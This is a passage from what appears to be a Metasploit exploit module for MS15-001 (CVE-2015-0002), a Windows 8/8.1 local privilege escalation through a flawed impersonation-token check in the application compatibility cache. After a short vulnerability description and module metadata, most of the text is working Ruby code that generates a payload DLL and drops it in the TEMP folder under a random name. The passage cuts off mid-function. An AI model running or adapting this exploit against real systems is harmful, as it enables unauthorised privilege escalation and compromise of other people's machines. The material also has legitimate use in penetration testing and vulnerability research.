A normal user can query the cache but cannot add new cached entries as the operation is restricted to administrators. This is checked in the function AhcVerifyAdminContext. This function has a vulnerability where it doesn't correctly check the impersonation token of the caller to determine if the user is an administrator. It reads the caller's impersonation token using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level of the token so it's possible to get an identify token on your thread from a local system process and bypass this check. This module currently only affects Windows 8 and Windows 8.1, and requires access to C:\Windows\System\ComputerDefaults.exe (although this can be improved). }, 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [], 'SideEffects' => [], 'Reliability' => [] }, 'Author' => [ 'James Forshaw', 'sinn3r' ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ] ], 'DefaultTarget' => 0, 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ [ 'MSB', 'MS15-001' ], [ 'CVE', '2015-0002' ], [ 'OSVDB', '116497' ], [ 'EDB', '35661' ], [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118'] ], 'DisclosureDate' => '2014-09-30' } ) ) end def temp @temp ||= get_env('TEMP').to_s end def payload_filepath @payload_filepath ||= "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll" end def upload_payload_dll(payload_filepath) payload = generate_payload_dll({ dll_exitprocess: true }) begin write_file(payload_filepath, payload) rescue Rex::Post::Meterpreter::RequestError => e fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}") end end def upload_payload print_status("Payload DLL will be: #{payload_filepath}") # Upload the payload upload_payload_dll(payload_filepath) if !file?(payload_filepath) fail_with(Failure::Unknown, 'Failed to save the payload DLL, or got removed.
